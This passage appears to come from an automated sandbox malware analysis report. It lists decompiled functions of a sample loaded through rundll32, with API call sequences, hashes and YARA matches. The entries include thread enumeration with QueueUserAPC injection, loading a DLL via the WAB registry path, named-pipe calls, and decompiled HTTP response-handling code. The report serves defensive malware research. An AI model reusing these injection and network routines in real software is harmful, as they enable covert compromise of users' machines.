                                              • Part of subcall function 05DE3672: SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 05DE36C1
                                              • Part of subcall function 05DE3672: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 05DE36D4
                                              • Part of subcall function 05DE3672: CloseHandle.KERNEL32(?), ref: 05DE36DD
                                            • GetLastError.KERNEL32 ref: 05DEBFA9
                                            • RtlEnterCriticalSection.NTDLL(?), ref: 05DEBFB9
                                            • RtlLeaveCriticalSection.NTDLL(?), ref: 05DEBFCA
                                            • RtlExitUserThread.NTDLL(?), ref: 05DEBFD8
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AllocCriticalSectionTimerVirtualWaitable$CloseCreateEnterErrorExitHandleLastLeaveMultipleObjectsThreadUserWaitwsprintf
                                            • String ID:
                                            • API String ID: 1258333524-0
                                            • Opcode ID: b614363099e2bf5a11f4e32a758bf73aa86a9659419d956f2a34e291c5d33c2b
                                            • Instruction ID: ebcb73e121a817efae635f0c974d0a03956e2a9cb6f20dd507222da8e85783c5
                                            • Opcode Fuzzy Hash: b614363099e2bf5a11f4e32a758bf73aa86a9659419d956f2a34e291c5d33c2b
                                            • Instruction Fuzzy Hash: 9AB13BB1500609AFEB20AF65CD88EAA7BFAFF08304F10452BF95AD2250DB71E955CF11
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDC49E Relevance: 15.2, APIs: 10, Instructions: 186stringmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(0637CBB8,00000000,00000000,00000000,?), ref: 05DDC4C1
                                            • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 05DDC4D0
                                            • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 05DDC4DD
                                            • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 05DDC4F5
                                            • lstrlen.KERNEL32(?,00000000,00000000,00000000,?), ref: 05DDC501
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDC51D
                                            • wsprintfA.USER32 ref: 05DDC5FF
                                            • memcpy.NTDLL(00000000,00004000,?), ref: 05DDC64C
                                            • InterlockedExchange.KERNEL32(05DF9148,00000000), ref: 05DDC66A
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDC6AB
                                              • Part of subcall function 05DEC301: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 05DEC32A
                                              • Part of subcall function 05DEC301: memcpy.NTDLL(00000000,?,?), ref: 05DEC33D
                                              • Part of subcall function 05DEC301: RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEC34E
                                              • Part of subcall function 05DEC301: RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEC363
                                              • Part of subcall function 05DEC301: HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 05DEC39B
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$Heap$AllocateCriticalFreeSectionmemcpy$EnterExchangeInterlockedLeavewsprintf
                                            • String ID:
                                            • API String ID: 4198405257-0
                                            • Opcode ID: bbe25de25f9b1cd7a5a63ce49538e0aae91f8a8bf8309b7af21ad7069bb430e6
                                            • Instruction ID: 4eb145ee2fdcf3f7a888de8ea8c0245d2a4e9d993f977a1b92bb1534b38f0e91
                                            • Opcode Fuzzy Hash: bbe25de25f9b1cd7a5a63ce49538e0aae91f8a8bf8309b7af21ad7069bb430e6
                                            • Instruction Fuzzy Hash: 4C615D71A1010AAFDF10DFA9DC99EAEBBB9FB44344F05406BF805D7250DB31AA44CB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6130 Relevance: 15.1, APIs: 10, Instructions: 98filememorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DE29F2: memset.NTDLL ref: 05DE2A14
                                              • Part of subcall function 05DE29F2: CloseHandle.KERNEL32(?,?,?,?,00000000), ref: 05DE2ABE
                                            • MapViewOfFile.KERNEL32(?,00000004,00000000,00000000,?,?,?,?), ref: 05DD6178
                                            • CloseHandle.KERNEL32(?), ref: 05DD6184
                                            • PathFindFileNameW.SHLWAPI(?), ref: 05DD6194
                                            • lstrlenW.KERNEL32(00000000), ref: 05DD619D
                                            • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DD61AE
                                            • wcstombs.NTDLL ref: 05DD61BD
                                            • lstrlen.KERNEL32(?), ref: 05DD61CA
                                            • UnmapViewOfFile.KERNEL32(?,?,?,00000000,00000001,?), ref: 05DD6209
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD621C
                                            • DeleteFileW.KERNEL32(?), ref: 05DD6229
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandleHeapViewlstrlen$AllocateDeleteFindFreeNamePathUnmapmemsetwcstombs
                                            • String ID:
                                            • API String ID: 2256351002-0
                                            • Opcode ID: 466fa950ac7fbcf364bab6f4915436b15fd2522dc02ec2d175110d710add4970
                                            • Instruction ID: 8fc77bb47b5573b16828cfa1d756ef56c2a9a2ada7967fe483628614d276b336
                                            • Opcode Fuzzy Hash: 466fa950ac7fbcf364bab6f4915436b15fd2522dc02ec2d175110d710add4970
                                            • Instruction Fuzzy Hash: 2E314C35A11108BBDF119FA9EC4AE9F7F79FF85711F004026F902A2250DB31DA55DBA0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDBD6D Relevance: 15.1, APIs: 10, Instructions: 78stringfilememoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetTickCount.KERNEL32 ref: 05DDBD7D
                                            • CreateFileW.KERNEL32(00000000,80000000,00000003,05DF9208,00000003,00000000,00000000,?,?,00000000), ref: 05DDBD9A
                                            • GetLastError.KERNEL32(?,?,00000000), ref: 05DDBE42
                                              • Part of subcall function 05DE9C23: lstrlen.KERNEL32(?,00000000,?,00000027,05DF9208,?,00000000,?,?,?,?,?,05DDBDC2,?,00000001), ref: 05DE9C59
                                              • Part of subcall function 05DE9C23: lstrcpy.KERNEL32(00000000,00000000), ref: 05DE9C7D
                                              • Part of subcall function 05DE9C23: lstrcat.KERNEL32(00000000,00000000), ref: 05DE9C85
                                            • GetFileSize.KERNEL32(?,00000000,?,00000001,?,?,00000000), ref: 05DDBDCD
                                            • CreateFileMappingA.KERNEL32(00000000,05DF9208,00000002,00000000,00000000,?), ref: 05DDBDE1
                                            • lstrlen.KERNEL32(?,?,?,00000000), ref: 05DDBDFD
                                            • lstrcpy.KERNEL32(?,?), ref: 05DDBE0D
                                            • GetLastError.KERNEL32(?,?,00000000), ref: 05DDBE15
                                            • HeapFree.KERNEL32(00000000,?,?,?,00000000), ref: 05DDBE28
                                            • CloseHandle.KERNEL32(?,?), ref: 05DDBE3A
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CreateErrorLastlstrcpylstrlen$CloseCountFreeHandleHeapMappingSizeTicklstrcat
                                            • String ID:
                                            • API String ID: 194907169-0
                                            • Opcode ID: 9012efb0dc02dc035b6b1203d5807a16cd38c24ba3341d39b796276615635970
                                            • Instruction ID: b7c8336b0487ea82dd2d011f201d81e70578675e9331e80d5693069726e775f6
                                            • Opcode Fuzzy Hash: 9012efb0dc02dc035b6b1203d5807a16cd38c24ba3341d39b796276615635970
                                            • Instruction Fuzzy Hash: EC210A71900208FFDB109FA8D849E9EBFB9FB04355F11846BF94AE6250D7309A948F60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD5DA0 Relevance: 15.1, APIs: 10, Instructions: 68threadprocesslibraryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CloseHandle.KERNEL32(?), ref: 05DD5DC6
                                            • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 05DD5DD2
                                            • GetModuleHandleA.KERNEL32(?,0637978E), ref: 05DD5DF2
                                            • GetProcAddress.KERNEL32(00000000), ref: 05DD5DF9
                                            • Thread32First.KERNEL32(?,0000001C), ref: 05DD5E09
                                            • OpenThread.KERNEL32(001F03FF,00000000,?), ref: 05DD5E24
                                            • QueueUserAPC.KERNEL32(?,00000000,00000000), ref: 05DD5E35
                                            • CloseHandle.KERNEL32(00000000), ref: 05DD5E3C
                                            • Thread32Next.KERNEL32(?,0000001C), ref: 05DD5E45
                                            • CloseHandle.KERNEL32(?), ref: 05DD5E51
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Handle$Close$Thread32$AddressCreateFirstModuleNextOpenProcQueueSnapshotThreadToolhelp32User
                                            • String ID:
                                            • API String ID: 2341152533-0
                                            • Opcode ID: 4a8c9a64895657ed058d7da2f669c57b2264da3270b38f2fb0d76fc51736fd5f
                                            • Instruction ID: c313581cdfb441ecff0e033dd7666414708cc6527289c6c3293452828f4e0f46
                                            • Opcode Fuzzy Hash: 4a8c9a64895657ed058d7da2f669c57b2264da3270b38f2fb0d76fc51736fd5f
                                            • Instruction Fuzzy Hash: 0A213D7290011CEFDF11AFE4EC89DAEBFB9FB48251B008027FA15A6250DB3199558B70
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD608A Relevance: 15.1, APIs: 10, Instructions: 59sleepsynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetEvent.KERNEL32(?,?,05DEF846), ref: 05DD609F
                                              • Part of subcall function 05DEFDDB: InterlockedExchange.KERNEL32(05DE5593,000000FF), ref: 05DEFDE2
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,05DEF846), ref: 05DD60BF
                                            • CloseHandle.KERNEL32(00000000,?,05DEF846), ref: 05DD60C8
                                            • CloseHandle.KERNEL32(00000000,?,?,05DEF846), ref: 05DD60D2
                                            • RtlEnterCriticalSection.NTDLL(?), ref: 05DD60DA
                                            • RtlLeaveCriticalSection.NTDLL(?), ref: 05DD60F2
                                            • Sleep.KERNEL32(000001F4), ref: 05DD6101
                                            • CloseHandle.KERNEL32(?), ref: 05DD610E
                                            • LocalFree.KERNEL32(?), ref: 05DD6119
                                            • RtlDeleteCriticalSection.NTDLL(?), ref: 05DD6123
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCriticalHandleSection$DeleteEnterEventExchangeFreeInterlockedLeaveLocalObjectSingleSleepWait
                                            • String ID:
                                            • API String ID: 1408595562-0
                                            • Opcode ID: 4fd02d379bbf36ac388b2618e61f09d02eddc2a623cd3f51169f3c6dde7aa8a9
                                            • Instruction ID: 3ff8c5254c45c618774bb6abe2b0b46a9b069ba50b1b70514c3a2877445859a8
                                            • Opcode Fuzzy Hash: 4fd02d379bbf36ac388b2618e61f09d02eddc2a623cd3f51169f3c6dde7aa8a9
                                            • Instruction Fuzzy Hash: 55110631215616EFCF30AB69DC4A96BBBA9FF04655701491BF28293651CF36E484CBB0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD3810 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 125memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(00000001,00000000,00000000,00000000,05DDD2C5,00000000,00000001,?,?,?), ref: 05DD3827
                                            • lstrlen.KERNEL32(?), ref: 05DD3837
                                            • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 05DD386B
                                            • RtlReAllocateHeap.NTDLL(00000000,00000000,?,?), ref: 05DD3896
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DD38B5
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD3916
                                            • memcpy.NTDLL(?,?,?,?,?,?,?,?), ref: 05DD3938
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Allocatelstrlenmemcpy$Free
                                            • String ID: W
                                            • API String ID: 3204852930-655174618
                                            • Opcode ID: bb2cb972624eb25febd7c9595b7564686141dab462f1ec5da8750cd772e7935f
                                            • Instruction ID: aba30c6833ed97004e8dee2930775924332bd79778629b48afd5f157fc11a00f
                                            • Opcode Fuzzy Hash: bb2cb972624eb25febd7c9595b7564686141dab462f1ec5da8750cd772e7935f
                                            • Instruction Fuzzy Hash: 26414CB190020AEFDF11DFA9DC85AAEBBB9FF04354F14842AF945A7210E730DA54CB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE2ACE Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 107stringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDF123: lstrlen.KERNEL32(00000000,00000008,00000000,00000000,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?,?,00000000), ref: 05DDF12F
                                              • Part of subcall function 05DDF123: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,05DEC0A9,00000000,00000000,00000004,00000000,?,05DEA6B6,?), ref: 05DDF18D
                                              • Part of subcall function 05DDF123: lstrcpy.KERNEL32(00000000,00000000), ref: 05DDF19D
                                            • lstrlen.KERNEL32(00000008,?,?,00000000,00000004,00000000), ref: 05DE2B1A
                                            • wsprintfA.USER32 ref: 05DE2B48
                                            • lstrlen.KERNEL32(00000000,20000000,?,00000000,00000001,00000000,00000000,00000008,00000030), ref: 05DE2BA6
                                            • GetLastError.KERNEL32 ref: 05DE2BBD
                                            • ResetEvent.KERNEL32(?), ref: 05DE2BD1
                                            • ResetEvent.KERNEL32(?), ref: 05DE2BD6
                                            • GetLastError.KERNEL32 ref: 05DE2BEE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: lstrlen$ErrorEventLastReset$lstrcpymemcpywsprintf
                                            • String ID: `
                                            • API String ID: 2276693960-1850852036
                                            • Opcode ID: 8e5a7c4f8df66194d2c9710a4040c679e63edaedf05ba21a2c0fdb8c3e62d2b6
                                            • Instruction ID: a1faf2bd71fad253e69ae518e052c27749c2da7627b75a72aed1c889e93c7b83
                                            • Opcode Fuzzy Hash: 8e5a7c4f8df66194d2c9710a4040c679e63edaedf05ba21a2c0fdb8c3e62d2b6
                                            • Instruction Fuzzy Hash: 73416A7551020AEFDF11EFA8DD4AFAABBB9FF04315F004427F806A2250DB709A54DB61
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB5F21 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 92networksynchronizationCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 100%
                                            			E04AB5F21(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04AB4DF6(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E04AB4C73(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04AB3A6F( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                                            0x04ab5f21
                                            0x04ab5f21
                                            0x04ab5f31
                                            0x04ab5f34
                                            0x04ab5f38
                                            0x04ab5f3e
                                            0x04ab5f43
                                            0x04ab5f5c
                                            0x04ab5f70
                                            0x04ab5f77
                                            0x04ab5f7e
                                            0x04ab5fd1
                                            0x04ab5fd7
                                            0x04ab5fdd
                                            0x04ab6018
                                            0x04ab601e
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab5fdd
                                            0x04ab5f84
                                            0x00000000
                                            0x04ab5f8b
                                            0x04ab5f99
                                            0x04ab5f9c
                                            0x04ab5f9f
                                            0x04ab5fab
                                            0x04ab5faf
                                            0x04ab6011
                                            0x04ab5fb1
                                            0x04ab5fc3
                                            0x04ab6001
                                            0x04ab600c
                                            0x04ab5fc5
                                            0x04ab5fc8
                                            0x04ab5fcc
                                            0x04ab5fcc
                                            0x04ab5fc3
                                            0x00000000
                                            0x04ab5faf
                                            0x04ab5f84
                                            0x04ab5f48
                                            0x04ab5f4e
                                            0x04ab5f51
                                            0x04ab5f56
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab5fe6
                                            0x04ab5fee
                                            0x04ab5ff3
                                            0x04ab5ff6
                                            0x00000000

                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,76F081D0), ref: 04AB5F38
                                            • SetEvent.KERNEL32(?), ref: 04AB5F48
                                            • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 04AB5F7A
                                            • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04AB5F9F
                                            • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04AB5FBF
                                            • GetLastError.KERNEL32 ref: 04AB5FD1
                                              • Part of subcall function 04AB3A6F: WaitForMultipleObjects.KERNEL32(00000002,04AB7B35,00000000,04AB7B35,?,?,?,04AB7B35,0000EA60), ref: 04AB3A8A
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            • GetLastError.KERNEL32(00000000), ref: 04AB6006
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                                            • String ID: @MvNv
                                            • API String ID: 3369646462-19517777
                                            • Opcode ID: 3183c0c3f67e4c916e0aed4193a1a564709ddb18998f05bdf3eed1275093fc0d
                                            • Instruction ID: 9c51fe2ffeebf69fc94e090e50de2e6ad6540f87a203be478f99f037ae78d046
                                            • Opcode Fuzzy Hash: 3183c0c3f67e4c916e0aed4193a1a564709ddb18998f05bdf3eed1275093fc0d
                                            • Instruction Fuzzy Hash: DD3123B5D00709FFEB20DFA5C8849DEB7BCEB08304F108969E542A2152D731AA49EF91
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD3622 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89memorystringpipeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(05DDD8E9,00000000,?,?,?,?,05DDD8E9,00000035,00000000,?,00000000), ref: 05DD3652
                                            • RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 05DD3668
                                            • memcpy.NTDLL(00000010,05DDD8E9,00000000,?,?,05DDD8E9,00000035,00000000), ref: 05DD369E
                                            • memcpy.NTDLL(00000010,00000000,00000035,?,?,05DDD8E9,00000035), ref: 05DD36B9
                                            • CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 05DD36D7
                                            • GetLastError.KERNEL32(?,?,05DDD8E9,00000035), ref: 05DD36E1
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,05DDD8E9,00000035), ref: 05DD3704
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heapmemcpy$AllocateCallErrorFreeLastNamedPipelstrlen
                                            • String ID: (
                                            • API String ID: 2237239663-3887548279
                                            • Opcode ID: bb58450eaf4b2972a41c0ea6c9c452c2055ea19642bce903e9648a0a1b11811a
                                            • Instruction ID: de4117523523e76c1db0c1b6db90a768f2343977701093940ef3f6a2195e0937
                                            • Opcode Fuzzy Hash: bb58450eaf4b2972a41c0ea6c9c452c2055ea19642bce903e9648a0a1b11811a
                                            • Instruction Fuzzy Hash: 3E318076900209EFDB20DFA8DC45AABBFB9FB44350F04482AFD4692310DA319A54DBA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD6778 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87registrylibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyA.ADVAPI32(80000002,Software\Microsoft\WAB\DLLPath,?), ref: 05DD6793
                                            • RegCloseKey.ADVAPI32(?,?,?,?,?), ref: 05DD684B
                                              • Part of subcall function 05DE1C01: RtlAllocateHeap.NTDLL(00000000,00000001,05DF1A23), ref: 05DE1C0D
                                            • LoadLibraryA.KERNEL32(00000000,?,?,?,?), ref: 05DD67E1
                                            • GetProcAddress.KERNEL32(00000000,?), ref: 05DD67FA
                                            • GetLastError.KERNEL32(?,?,?,?), ref: 05DD6819
                                            • FreeLibrary.KERNEL32(00000000,?,?,?,?), ref: 05DD682B
                                            • GetLastError.KERNEL32(?,?,?,?), ref: 05DD6833
                                            Strings
                                            • Software\Microsoft\WAB\DLLPath, xrefs: 05DD6784
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastLibrary$AddressAllocateCloseFreeHeapLoadOpenProc
                                            • String ID: Software\Microsoft\WAB\DLLPath
                                            • API String ID: 1628847533-3156921957
                                            • Opcode ID: 55c0c30f4e5dc785655ca36dabefad3c67230c4701379eedd6511f39540b6f9a
                                            • Instruction ID: a56ca5400e29ac99beb17e87ea6dc53a48d1b15da89b1b563e4145560bb19ef0
                                            • Opcode Fuzzy Hash: 55c0c30f4e5dc785655ca36dabefad3c67230c4701379eedd6511f39540b6f9a
                                            • Instruction Fuzzy Hash: 88216272900118FFDB21ABA8DC49CAEFF7DFB58611B110167F956E3250DA319D40DBA1
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DEA2FF Relevance: 13.7, APIs: 9, Instructions: 168memorythreadsleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL ref: 05DEA340
                                            • memset.NTDLL ref: 05DEA354
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • GetCurrentThreadId.KERNEL32 ref: 05DEA3E1
                                            • GetCurrentThread.KERNEL32 ref: 05DEA3F4
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DEA49B
                                            • Sleep.KERNEL32(0000000A), ref: 05DEA4A5
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DEA4CB
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DEA4F9
                                            • HeapFree.KERNEL32(00000000,00000018), ref: 05DEA50C
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateCriticalCurrentFreeQuerySectionThreadValue$CloseEnterLeaveSleepmemset
                                            • String ID:
                                            • API String ID: 1146182784-0
                                            • Opcode ID: dc155179e53aaf68eaac030ed9dbc7500fdb278228c02ff368f63193618a0e65
                                            • Instruction ID: 974d91ff65e462115266fcf2af039172af4f79b770f3d9f213fa1c3fbb9f5308
                                            • Opcode Fuzzy Hash: dc155179e53aaf68eaac030ed9dbc7500fdb278228c02ff368f63193618a0e65
                                            • Instruction Fuzzy Hash: F4513CB1918306AFD710EF68D88995BBBE9FB48210F004D2FF585D7250D731DD498BA2
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE0682 Relevance: 13.6, APIs: 9, Instructions: 130memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DEACA0: RtlEnterCriticalSection.NTDLL(05DF9448), ref: 05DEACA8
                                              • Part of subcall function 05DEACA0: RtlLeaveCriticalSection.NTDLL(05DF9448), ref: 05DEACBD
                                              • Part of subcall function 05DEACA0: InterlockedIncrement.KERNEL32(0000001C), ref: 05DEACD6
                                            • RtlAllocateHeap.NTDLL(00000000,00000018,?), ref: 05DE06BF
                                            • memset.NTDLL ref: 05DE06D0
                                            • lstrcmpi.KERNEL32(?,?), ref: 05DE0710
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE073C
                                            • memcpy.NTDLL(00000000,?,?), ref: 05DE0750
                                            • memset.NTDLL ref: 05DE075D
                                            • memcpy.NTDLL(?,?,?,?,00000000,?,00000000,?,?), ref: 05DE0776
                                            • memcpy.NTDLL(-00000005,?,00000007,?,?,?,?,00000000,?,00000000,?,?), ref: 05DE0799
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE07B6
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heapmemcpy$AllocateCriticalSectionmemset$EnterFreeIncrementInterlockedLeavelstrcmpi
                                            • String ID:
                                            • API String ID: 694413484-0
                                            • Opcode ID: 9063a0aee4c38c5febf105bfd834f1a142ab7be4e71c1e6a5964ad075faa1690
                                            • Instruction ID: 3ee9c9ef3316998c37bf35a05b6ea8d4baf78b85529c76284d0a5b9f7abc8926
